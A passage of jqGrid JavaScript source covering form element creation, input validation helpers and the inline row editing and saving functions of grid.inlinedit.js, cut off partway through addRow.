($.inArray($.jgrid.trim(oSv[key]),ovm)>-1 || $.inArray($.jgrid.trim(key),ovm)>-1)) { ov.selected ="selected"; } } } } setAttributes(elem, options, ['value']); } else { setAttributes(elem, options ); } break; case "image" : case "file" : elem = document.createElement("input"); elem.type = eltype; setAttributes(elem, options); break; case "custom" : elem = document.createElement("span"); try { if($.jgrid.isFunction(options.custom_element)) { var celm = options.custom_element.call($t,vl,options); if(celm) { celm = $(celm).addClass("customelement").attr({id:options.id,name:options.name}); $(elem).empty().append(celm); } else { throw "e2"; } } else { throw "e1"; } } catch (e) { var errors = $.jgrid.getRegional($t, 'errors'), edit =$.jgrid.getRegional($t, 'edit'); if (e==="e1") { $.jgrid.info_dialog(errors.errcap,"function 'custom_element' "+edit.msg.nodefined, edit.bClose, {styleUI : $t.p.styleUI });} else if (e==="e2") { $.jgrid.info_dialog(errors.errcap,"function 'custom_element' "+edit.msg.novalue,edit.bClose, {styleUI : $t.p.styleUI });} else { $.jgrid.info_dialog(errors.errcap,typeof e==="string"?e:e.message,edit.bClose, {styleUI : $t.p.styleUI }); } } break; default : var role; if(eltype==="button") { role = "button"; } else { role = "textbox"; } // ??? elem = document.createElement("input"); elem.type = eltype; elem.value = vl; if(eltype !== "button"){ if(autowidth) { if(!options.size) { $(elem).css({width:"96%"}); } } else if (!options.size) { options.size = 20; } } $(elem).attr("role",role); setAttributes(elem, options); } return elem; }, // Date Validation Javascript checkDate : function (format, date) { var daysInFebruary = function(year){ // February has 29 days in any year evenly divisible by four, // EXCEPT for centurial years which are not also divisible by 400. return (((year % 4 === 0) && ( year % 100 !== 0 || (year % 400 === 0))) ? 29 : 28 ); }, tsp = {}, sep; format = format.toLowerCase(); //we search for /,-,. for the date separator if(format.indexOf("/") !== -1) { sep = "/"; } else if(format.indexOf("-") !== -1) { sep = "-"; } else if(format.indexOf(".") !== -1) { sep = "."; } else { sep = "/"; } format = format.split(sep); date = date.split(sep); if (date.length !== 3) { return false; } var j=-1,yln, dln=-1, mln=-1, i; for(i=0;i<format.length;i++){ var dv = isNaN(date[i]) ? 0 : parseInt(date[i],10); tsp[format[i]] = dv; yln = format[i]; if(yln.indexOf("y") !== -1) { j=i; } if(yln.indexOf("m") !== -1) { mln=i; } if(yln.indexOf("d") !== -1) { dln=i; } } if (format[j] === "y" || format[j] === "yyyy") { yln=4; } else if(format[j] ==="yy"){ yln = 2; } else { yln = -1; } var daysInMonth = [0,31,29,31,30,31,30,31,31,30,31,30,31], strDate; if (j === -1) { return false; } strDate = tsp[format[j]].toString(); if(yln === 2 && strDate.length === 1) {yln = 1;} if (strDate.length !== yln || (tsp[format[j]]===0 && date[j]!=="00")){ return false; } if(mln === -1) { return false; } strDate = tsp[format[mln]].toString(); if (strDate.length<1 || tsp[format[mln]]<1 || tsp[format[mln]]>12){ return false; } if(dln === -1) { return false; } strDate = tsp[format[dln]].toString(); if (strDate.length<1 || tsp[format[dln]]<1 || tsp[format[dln]]>31 || (tsp[format[mln]]===2 && tsp[format[dln]]>daysInFebruary(tsp[format[j]])) || tsp[format[dln]] > daysInMonth[tsp[format[mln]]]){ return false; } return true; }, isEmpty : function(val) { if (val === undefined || val.match(/^\s+$/) || val === "") { return true; } return false; }, checkTime : function(time){ // checks only hh:ss (and optional am/pm) var re = /^(\d{1,2}):(\d{2})([apAP][Mm])?$/,regs; if(!$.jgrid.isEmpty(time)) { regs = time.match(re); if(regs) { if(regs[3]) { if(regs[1] < 1 || regs[1] > 12) { return false; } } else { if(regs[1] > 23) { return false; } } if(regs[2] > 59) { return false; } } else { return false; } } return true; }, checkValues : function(val, valref, customobject, nam) { var edtrul,i, nm, dft, len, g = this, cm = g.p.colModel, msg = $.jgrid.getRegional(this, 'edit.msg'), fmtdate, isNum = function(vn) { vn = vn.toString(); if(vn.length >= 2) { var chkv, dot; if(vn[0] === "-" ) { chkv = vn[1]; if(vn[2]) { dot = vn[2];} } else { chkv = vn[0]; if(vn[1]) { dot = vn[1];} } if( chkv === "0" && dot !== ".") { return false; //octal } } return typeof Number(vn) === 'number' && isFinite(vn); }; if(customobject === undefined) { if(typeof valref==='string'){ for( i =0, len=cm.length;i<len; i++){ if(cm[i].name===valref) { edtrul = cm[i].editrules; valref = i; if(cm[i].formoptions != null) { nm = cm[i].formoptions.label; } break; } } } else if(valref >=0) { edtrul = cm[valref].editrules; } } else { edtrul = customobject; nm = nam===undefined ? "_" : nam; } if(edtrul) { if(!nm) { nm = g.p.colNames != null ? g.p.colNames[valref] : cm[valref].label; } if(edtrul.required === true) { if( $.jgrid.isEmpty(val) ) { return [false,nm+": "+msg.required,""]; } } // force required var rqfield = edtrul.required === false ? false : true; if(edtrul.number === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!isNum(val)) { return [false,nm+": "+msg.number,""]; } } } if(edtrul.minValue !== undefined && !isNaN(edtrul.minValue)) { if ($.jgrid.floatNum(val) < $.jgrid.floatNum(edtrul.minValue) ) { return [false,nm+": "+msg.minValue+" "+edtrul.minValue,""];} } if(edtrul.maxValue !== undefined && !isNaN(edtrul.maxValue)) { if ($.jgrid.floatNum(val) > $.jgrid.floatNum(edtrul.maxValue) ) { return [false,nm+": "+msg.maxValue+" "+edtrul.maxValue,""];} } var filter; if(edtrul.email === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { // taken from $ Validate plugin filter = /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i; if(!filter.test(val)) {return [false,nm+": "+msg.email,""];} } } if(edtrul.integer === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!isNum(val)) { return [false,nm+": "+msg.integer,""]; } if ((val % 1 !== 0) || (val.indexOf('.') !== -1)) { return [false,nm+": "+msg.integer,""];} } } if(edtrul.date === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(cm[valref].formatoptions && cm[valref].formatoptions.newformat) { dft = cm[valref].formatoptions.newformat; fmtdate = $.jgrid.getRegional(g, 'formatter.date.masks'); if(fmtdate && fmtdate.hasOwnProperty(dft) ) { dft = fmtdate[dft]; } } else { dft = cm[valref].datefmt || "Y-m-d"; } if(!$.jgrid.checkDate (dft, val)) { return [false,nm+": "+msg.date+" - "+dft,""]; } } } if(edtrul.time === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!$.jgrid.checkTime (val)) { return [false,nm+": "+msg.date+" - hh:mm (am/pm)",""]; } } } if(edtrul.url === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { filter = /^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i; if(!filter.test(val)) {return [false,nm+": "+msg.url,""];} } } if(edtrul.custom === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if($.jgrid.isFunction(edtrul.custom_func)) { var ret = edtrul.custom_func.call(g,val,nm,valref); return Array.isArray(ret) ? ret : [false,msg.customarray,""]; } return [false,msg.customfcheck,""]; } } } return [true,"",""]; }, validateForm : function(form) { var f, field, formvalid = true; for (f = 0; f < form.elements.length; f++) { field = form.elements[f]; // ignore buttons, fieldsets, etc. if (field.nodeName !== "INPUT" && field.nodeName !== "TEXTAREA" && field.nodeName !== "SELECT") continue; // is native browser validation available? if (typeof field.willValidate !== "undefined") { // native validation available if (field.nodeName === "INPUT" && field.type !== field.getAttribute("type")) { // input type not supported! Use legacy JavaScript validation field.setCustomValidity($.jgrid.LegacyValidation(field) ? "" : "error"); } // native browser check display error field.reportValidity(); } else { // native validation not available field.validity = field.validity || {}; field.validity.valid = $.jgrid.LegacyValidation(field); } if (field.validity.valid) { // remove error styles and messages } else { // style field, show error, etc. // form is invalid //var message = field.validationMessage; formvalid = false; break; } } return formvalid; }, // basic legacy validation checking LegacyValidation : function (field) { var valid = true, val = field.value, type = field.getAttribute("type"), chkbox = (type === "checkbox" || type === "radio"), required = field.getAttribute("required"), minlength = field.getAttribute("minlength"), maxlength = field.getAttribute("maxlength"), pattern = field.getAttribute("pattern"); // disabled fields should not be validated if ( field.disabled ) { return valid; } // value required? valid = valid && (!required || (chkbox && field.checked) || (!chkbox && val !== "") ); // minlength or maxlength set? valid = valid && (chkbox || ( (!minlength || val.length >= minlength) && (!maxlength || val.length <= maxlength) )); // test pattern if (valid && pattern) { pattern = new RegExp(pattern); valid = pattern.test(val); } return valid; }, buildButtons : function ( buttons, source, commonstyle) { var icon, str; $.each(buttons, function(i,n) { // side, position, text, icon, click, id, index if(!n.id) { n.id = $.jgrid.randId(); } if(!n.position) { n.position = 'last'; } if(!n.side) { n.side = 'left'; } icon = n.icon ? " fm-button-icon-" + n.side + "'><span class='" + commonstyle.icon_base + " " + n.icon + "'></span>" : "'>"; str = "<a data-index='"+i+"' id='" + n.id + "' class='fm-button " + commonstyle.button + icon + n.text+"</a>"; if(n.position === "last" ) { source = source + str; } else { source = str + source; } }); return source; }, setSelNavIndex : function ($t, selelem ) { var cels = $(".ui-pg-button",$t.p.pager); $.each(cels, function(i,n) { if(selelem===n) { $t.p.navIndex = i; return false; } }); $(selelem).attr("tabindex","0"); }, getFirstVisibleCol : function( $t ) { var ret = -1; for(var i = 0;i<$t.p.colModel.length;i++) { if($t.p.colModel[i].hidden !== true ) { ret = i; break; } } return ret; }, getLastVisibleCol : function( $t ) { var ret = -1; for(var i = $t.p.colModel.length - 1; i>=0; i--) { if($t.p.colModel[i].hidden !== true ) { ret = i; break; } } return ret; }, /* post data to server get or post without ajax */ postForm : function (path, params, method) { method = method || 'post'; var form = document.createElement('form'); form.setAttribute('method', method); form.setAttribute('action', path); for (var key in params) { if (params.hasOwnProperty(key)) { var hiddenField = document.createElement('input'); hiddenField.setAttribute('type', 'hidden'); hiddenField.setAttribute('name', key); hiddenField.setAttribute('value', params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); form.submit(); form.parentNode.removeChild(form); } }); //module end })); grid.inlinedit.js000064400000066433151677266200010035 0ustar00/*jshint eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./grid.common" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.inlineEdit = $.jgrid.inlineEdit || {}; $.jgrid.extend({ //Editing editRow : function(rowid,keys,oneditfunc,successfunc, url, extraparam, aftersavefunc,errorfunc, afterrestorefunc) { // Compatible mode old versions var o={}, args = $.makeArray(arguments).slice(1), $t = this[0]; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if (keys !== undefined) { o.keys = keys; } if ($.jgrid.isFunction(oneditfunc)) { o.oneditfunc = oneditfunc; } if ($.jgrid.isFunction(successfunc)) { o.successfunc = successfunc; } if (url !== undefined) { o.url = url; } if (extraparam !== undefined) { o.extraparam = extraparam; } if ($.jgrid.isFunction(aftersavefunc)) { o.aftersavefunc = aftersavefunc; } if ($.jgrid.isFunction(errorfunc)) { o.errorfunc = errorfunc; } if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } // last two not as param, but as object (sorry) //if (restoreAfterError !== undefined) { o.restoreAfterError = restoreAfterError; } //if (mtype !== undefined) { o.mtype = mtype || "POST"; } } o = $.extend(true, { keys : false, keyevent : "keydown", onEnter : null, onEscape : null, oneditfunc: null, successfunc: null, url: null, extraparam: {}, aftersavefunc: null, errorfunc: null, afterrestorefunc: null, restoreAfterError: true, mtype: "POST", focusField : true, saveui : "enable", savetext : $.jgrid.getRegional($t,'defaults.savetext') }, $.jgrid.inlineEdit, o ); // End compatible return this.each(function(){ var nm, tmp, editable, cnt=0, focus=null, svr={}, ind,cm, bfer, inpclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".inlinedit",'inputClass', true), selclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".inlinedit",'selectClass', true); if (!$t.grid ) { return; } ind = $($t).jqGrid("getInd",rowid,true); if( ind === false ) {return;} $t.p.beforeAction = true; bfer = $.jgrid.isFunction( o.beforeEditRow ) ? o.beforeEditRow.call($t,o, rowid) : undefined; if( bfer === undefined ) { bfer = true; } if(!bfer) { $t.p.beforeAction = false; return; } editable = $(ind).attr("editable") || "0"; if (editable === "0" && !$(ind).hasClass("not-editable-row")) { cm = $t.p.colModel; $(ind).children('td[role="gridcell"]').each( function(i) { nm = cm[i].name; var treeg = $t.p.treeGrid===true && nm === $t.p.ExpandColumn; if(treeg) { tmp = $(this).find("span").first().html();} else { try { tmp = $.unformat.call($t,this,{rowId:rowid, colModel:cm[i]},i); } catch (_) { tmp = ( cm[i].edittype && cm[i].edittype === 'textarea' ) ? $(this).text() : $(this).html(); } } if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } //svr[nm]=tmp; if(cm[i].editable===true) { svr[nm]=tmp; if(focus===null) { focus = i; } if (treeg) { $(this).find("span").first().html(""); } else { $(this).html(""); } var opt = $.extend({},cm[i].editoptions || {},{id:rowid+"_"+nm,name:nm,rowId:rowid, oper:'edit', module : 'inline'}); if(!cm[i].edittype) { cm[i].edittype = "text"; } if(tmp === " " || tmp === " " || (tmp !== null && tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} var elc = $.jgrid.createEl.call($t,cm[i].edittype,opt,tmp,true,$.extend({},$.jgrid.ajaxOptions,$t.p.ajaxSelectOptions || {})); $(elc).addClass("editable inline-edit-cell"); if( $.inArray(cm[i].edittype, ['text','textarea','password']) > -1) { $(elc).addClass( inpclass ); } else if (cm[i].edittype === 'select') { $(elc).addClass( selclass ); } if(treeg) { $(this).find("span").first().append(elc); } else { $(this).append(elc); } $.jgrid.bindEv.call($t, elc, opt); //Again IE if(cm[i].edittype === "select" && cm[i].editoptions!==undefined && cm[i].editoptions.multiple===true && cm[i].editoptions.dataUrl===undefined && $.jgrid.msie()) { $(elc).width($(elc).width()); } cnt++; } } }); if(cnt > 0) { svr.id = rowid; $t.p.savedRow.push(svr); $(ind).attr("editable","1"); if(o.focusField ) { if(typeof o.focusField === 'number' && parseInt(o.focusField,10) <= cm.length) { focus = o.focusField; } setTimeout(function(){ var fe = $("td", ind).eq( focus ).find(":input:visible").not(":disabled"); if(fe.length > 0) { fe.focus(); } },0); } if(o.keys===true) { $(ind).on( o.keyevent ,function(e) { if (e.keyCode === 27) { if($.jgrid.isFunction( o.onEscape )) { o.onEscape.call($t, rowid, o, e); return true; } $($t).jqGrid("restoreRow",rowid, o); if($t.p.inlineNav) { try { $($t).jqGrid('showAddEditButtons'); } catch (eer1) {} } return false; } if (e.keyCode === 13) { e.preventDefault(); if($.jgrid.isFunction( o.onEnter )) { o.onEnter.call($t, rowid, o, e); return true; } if(e.target.tagName === 'TEXTAREA') { return true; } if( $($t).jqGrid("saveRow", rowid, o ) ) { if($t.p.inlineNav) { try { $($t).jqGrid('showAddEditButtons'); } catch (eer2) {} } } return false; } }); } $($t).triggerHandler("jqGridInlineEditRow", [rowid, o]); if( $.jgrid.isFunction(o.oneditfunc)) { o.oneditfunc.call($t, rowid); } } } }); }, saveRow : function(rowid, successfunc, url, extraparam, aftersavefunc,errorfunc, afterrestorefunc) { // Compatible mode old versions var args = $.makeArray(arguments).slice(1), o = {}, $t = this[0]; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if ($.jgrid.isFunction(successfunc)) { o.successfunc = successfunc; } if (url !== undefined) { o.url = url; } if (extraparam !== undefined) { o.extraparam = extraparam; } if ($.jgrid.isFunction(aftersavefunc)) { o.aftersavefunc = aftersavefunc; } if ($.jgrid.isFunction(errorfunc)) { o.errorfunc = errorfunc; } if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } } o = $.extend(true, { successfunc: null, url: null, extraparam: {}, aftersavefunc: null, errorfunc: null, afterrestorefunc: null, restoreAfterError: true, mtype: "POST", saveui : "enable", savetext : $.jgrid.getRegional($t,'defaults.savetext') }, $.jgrid.inlineEdit, o ); // End compatible var success = false, nm, tmp={}, tmp2={}, tmp3= {}, editable, fr, cv, ind, nullIfEmpty=false, error = $.jgrid.trim( $($t).jqGrid('getStyleUI', $t.p.styleUI+'.common', 'error', true) ); if (!$t.grid ) { return success; } ind = $($t).jqGrid("getInd",rowid,true); if(ind === false) {return success;} var errors = $.jgrid.getRegional($t, 'errors'), edit =$.jgrid.getRegional($t, 'edit'), bfsr = $.jgrid.isFunction( o.beforeSaveRow ) ? o.beforeSaveRow.call($t,o, rowid) : undefined; if( bfsr === undefined ) { bfsr = true; } if(!bfsr) { return; } editable = $(ind).attr("editable"); o.url = o.url || $t.p.editurl; if (editable==="1") { var cm, index, elem; $(ind).children('td[role="gridcell"]').each(function(i) { cm = $t.p.colModel[i]; nm = cm.name; elem = ""; if ( nm !== 'cb' && nm !== 'subgrid' && cm.editable===true && nm !== 'rn' && nm !== 'sc' && !$(this).hasClass('not-editable-cell')) { switch (cm.edittype) { case "checkbox": var cbv = ["Yes","No"]; if(cm.editoptions && cm.editoptions.value) { cbv = cm.editoptions.value.split(":"); } tmp[nm]= $("input",this).is(":checked") ? cbv[0] : cbv[1]; elem = $("input",this); break; case 'text': case 'password': case 'textarea': case "button" : tmp[nm]=$("input, textarea",this).val(); elem = $("input, textarea",this); break; case 'select': if(!cm.editoptions.multiple) { tmp[nm] = $("select option:selected",this).val(); tmp2[nm] = $("select option:selected", this).text(); } else { var sel = $("select",this), selectedText = []; tmp[nm] = $(sel).val(); if(tmp[nm]) { tmp[nm]= tmp[nm].join(","); } else { tmp[nm] =""; } $("select option:selected",this).each( function(i,selected){ selectedText[i] = $(selected).text(); } ); tmp2[nm] = selectedText.join(","); } if(cm.formatter) { tmp2={}; } elem = $("select",this); break; case 'custom' : try { if(cm.editoptions && $.jgrid.isFunction(cm.editoptions.custom_value)) { tmp[nm] = cm.editoptions.custom_value.call($t, $(".customelement",this),'get'); if (tmp[nm] === undefined) { throw "e2"; } } else { throw "e1"; } } catch (e) { if (e==="e1") { $.jgrid.info_dialog(errors.errcap,"function 'custom_value' "+edit.msg.nodefined,edit.bClose, {styleUI : $t.p.styleUI }); } else { $.jgrid.info_dialog(errors.errcap,e.message,edit.bClose, {styleUI : $t.p.styleUI }); } } break; } cv = $.jgrid.checkValues.call($t,tmp[nm],i); if(cv[0] === false) { index = i; return false; } if($t.p.autoencode) { tmp[nm] = $.jgrid.htmlEncode(tmp[nm]); } if(o.url !== 'clientArray' && cm.editoptions && cm.editoptions.NullIfEmpty === true) { if(tmp[nm] === "") { tmp3[nm] = 'null'; nullIfEmpty = true; } } } }); if (cv[0] === false){ try { if( $.jgrid.isFunction($t.p.validationCell) ) { $t.p.validationCell.call($t, elem, cv[1], ind.rowIndex, index); } else { var tr = $($t).jqGrid('getGridRowById', rowid), positions = $.jgrid.findPos(tr); $.jgrid.info_dialog(errors.errcap,cv[1],edit.bClose,{ left:positions[0], top:positions[1]+$(tr).outerHeight(), styleUI : $t.p.styleUI, onClose: function(){ if(index >= 0 ) { $("#"+rowid+"_" +$t.p.colModel[index].name).focus(); } } }); } } catch (e) { alert(cv[1]); } return success; } var idname, opers = $t.p.prmNames, oldRowId = rowid; if ($t.p.keyName === false) { idname = opers.id; } else { idname = $t.p.keyName; } if(!$.isEmptyObject(tmp)) { tmp[opers.oper] = opers.editoper; if (tmp[idname] === undefined || tmp[idname]==="") { tmp[idname] = rowid; } else if (ind.id !== $t.p.idPrefix + tmp[idname]) { // rename rowid var oldid = $.jgrid.stripPref($t.p.idPrefix, rowid); if ($t.p._index[oldid] !== undefined) { $t.p._index[tmp[idname]] = $t.p._index[oldid]; delete $t.p._index[oldid]; } rowid = $t.p.idPrefix + tmp[idname]; $(ind).attr("id", rowid); if ($t.p.selrow === oldRowId) { $t.p.selrow = rowid; } if (Array.isArray($t.p.selarrrow)) { var i = $.inArray(oldRowId, $t.p.selarrrow); if (i>=0) { $t.p.selarrrow[i] = rowid; } } if ($t.p.multiselect) { var newCboxId = "jqg_" + $t.p.id + "_" + rowid; $("input.cbox",ind) .attr("id", newCboxId) .attr("name", newCboxId); } // TODO: to test the case of frozen columns } if($t.p.inlineData === undefined) { $t.p.inlineData ={}; } tmp = $.extend({},tmp,$t.p.inlineData,o.extraparam); } if (o.url === 'clientArray') { tmp = $.extend({},tmp, tmp2); if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } tmp = $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp) : tmp; var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); } else if(o.url === 'storage') { tmp = $.extend({},tmp, tmp2); if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } tmp = $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp) : tmp; if($(ind).hasClass("jqgrid-new-row")) { $($t).jqGrid('addStorageRecord', tmp) .then(function(e){ if(e.type==="complete") { var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); if($t.p.inlineNav===true) {$($t).jqGrid('showAddEditButtons');} } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else { $($t).jqGrid('updateStorageRecord', tmp) .then(function(e){ if(e.type==="complete") { var k, resp = $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(oldRowId)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, resp, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, resp, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).off("keydown"); if($t.p.inlineNav===true) {$($t).jqGrid('showAddEditButtons');} } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { $($t).jqGrid("progressBar", {method:"show", loadtype : o.saveui, htmlcontent: o.savetext }); tmp3 = $.extend({},tmp,tmp3); tmp3[idname] = $.jgrid.stripPref($t.p.idPrefix, tmp3[idname]); $.ajax($.extend({ url:o.url, data: $.jgrid.isFunction($t.p.serializeRowData) ? $t.p.serializeRowData.call($t, tmp3) : tmp3, type: o.mtype, async : false, //?!? success: function(resuly,stat,res){ $($t).jqGrid("progressBar", {method:"hide", loadtype : o.saveui, htmlcontent: o.savetext}); if (stat === "success"){ var ret = true, sucret, k; sucret = $($t).triggerHandler("jqGridInlineSuccessSaveRow", [res, rowid, o]); if ( !Array.isArray(sucret) ) {sucret = [true, tmp3];} if (sucret[0] && $.jgrid.isFunction(o.successfunc)) {sucret = o.successfunc.call($t, res);} if( Array.isArray(sucret) ) { // expect array - status, data, rowid ret = sucret[0]; tmp = sucret[1] || tmp; } else { ret = sucret; } if (ret===true) { if($t.p.autoencode) { $.each(tmp,function(n,v){ tmp[n] = $.jgrid.htmlDecode(v); }); } if(nullIfEmpty) { $.each(tmp,function( n ){ if(tmp[n] === 'null' ) { tmp[n] = ''; } }); } tmp = $.extend({},tmp, tmp2); $($t).jqGrid("setRowData",rowid,tmp); $(ind).attr("editable","0"); for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(rowid)) {fr = k; break;} } $($t).triggerHandler("jqGridInlineAfterSaveRow", [rowid, res, tmp, o]); if( $.jgrid.isFunction(o.aftersavefunc) ) { o.aftersavefunc.call($t, rowid, res, tmp, o); } if(fr >= 0) { $t.p.savedRow.splice(fr,1); } success = true; $(ind).removeClass("jqgrid-new-row").off("keydown"); } else { $($t).triggerHandler("jqGridInlineErrorSaveRow", [rowid, res, stat, null, o]); if($.jgrid.isFunction(o.errorfunc) ) { o.errorfunc.call($t, rowid, res, stat, null); } if(o.restoreAfterError === true) { $($t).jqGrid("restoreRow",rowid, o); } } } }, error:function(res,stat,err){ $("#lui_"+$.jgrid.jqID($t.p.id)).hide(); $($t).triggerHandler("jqGridInlineErrorSaveRow", [rowid, res, stat, err, o]); if($.jgrid.isFunction(o.errorfunc) ) { o.errorfunc.call($t, rowid, res, stat, err); } else { var rT = res.responseText || res.statusText; try { $.jgrid.info_dialog(errors.errcap,'<div class="'+error+'">'+ rT +'</div>', edit.bClose, {buttonalign:'right', styleUI : $t.p.styleUI }); } catch(e) { alert(rT); } } if(o.restoreAfterError === true) { $($t).jqGrid("restoreRow",rowid, o); } } }, $.jgrid.ajaxOptions, $t.p.ajaxRowOptions || {})); } } return success; }, restoreRow : function(rowid, afterrestorefunc) { // Compatible mode old versions var args = $.makeArray(arguments).slice(1), o={}; if( $.jgrid.type(args[0]) === "object" ) { o = args[0]; } else { if ($.jgrid.isFunction(afterrestorefunc)) { o.afterrestorefunc = afterrestorefunc; } } o = $.extend(true, {}, $.jgrid.inlineEdit, o ); // End compatible return this.each(function(){ var $t= this, fr=-1, ind, ares={}, k; if (!$t.grid ) { return; } ind = $($t).jqGrid("getInd",rowid,true); if(ind === false) {return;} var bfcr = $.jgrid.isFunction( o.beforeCancelRow ) ? o.beforeCancelRow.call($t, o, rowid) : undefined; if( bfcr === undefined ) { bfcr = true; } if(!bfcr) { return; } for(k=0;k<$t.p.savedRow.length;k++) { if( String($t.p.savedRow[k].id) === String(rowid)) {fr = k; break;} } if(fr >= 0) { if($.jgrid.isFunction($.fn.datepicker)) { try { $("input.hasDatepicker","#"+$.jgrid.jqID(ind.id)).datepicker('hide'); } catch (e) {} } $.each($t.p.colModel, function(){ if( $t.p.savedRow[fr].hasOwnProperty(this.name)) { ares[this.name] = $t.p.savedRow[fr][this.name]; } }); $($t).jqGrid("setRowData",rowid,ares); $(ind).attr("editable","0").off("keydown"); $t.p.savedRow.splice(fr,1); if($("#"+$.jgrid.jqID(rowid), "#"+$.jgrid.jqID($t.p.id)).hasClass("jqgrid-new-row")){ setTimeout(function(){ $($t).jqGrid("delRowData",rowid); $($t).jqGrid('showAddEditButtons'); },0); } } $($t).triggerHandler("jqGridInlineAfterRestoreRow", [rowid]); if ($.jgrid.isFunction(o.afterrestorefunc)) { o.afterrestorefunc.call($t, rowid); } }); }, addRow : function ( p ) { p = $.extend(true, { rowID : null, initdata : {}, position :"first", useDefValues : true, useFormatter : false, addRowParams : {extraparam:{}} },p || {}); return this.each(function(){ if (!this.grid ) { return; } var $t = this; $t.p.beforeAction = true; var bfar = $.jgrid.isFunction( p.beforeAddRow ) ? p.beforeAddRow.call($t,p.addRowParams) : undefined; if( bfar === undefined ) { bfar = true; } if(!bfar) { $t.p.beforeAction = false; return; } p.rowID = $.jgrid.isFunction(p.rowID) ? p.rowID.call($t, p) : ( (p.rowID != null) ? p.rowID : $.jgrid.randId()); if(p.useDefValues === true) { $($t.p.colModel).each(function(){ if( this.editoptions && this.editoptions.defaultValue ) { var opt = this.editoptions.defaultValue, tmp = $.jgrid.isFunction(opt) ? opt.call($t) : opt; p.initdata[this.name] = tmp; } }); } $($t).jqGrid('addRowData', p.rowID, p.initdata, 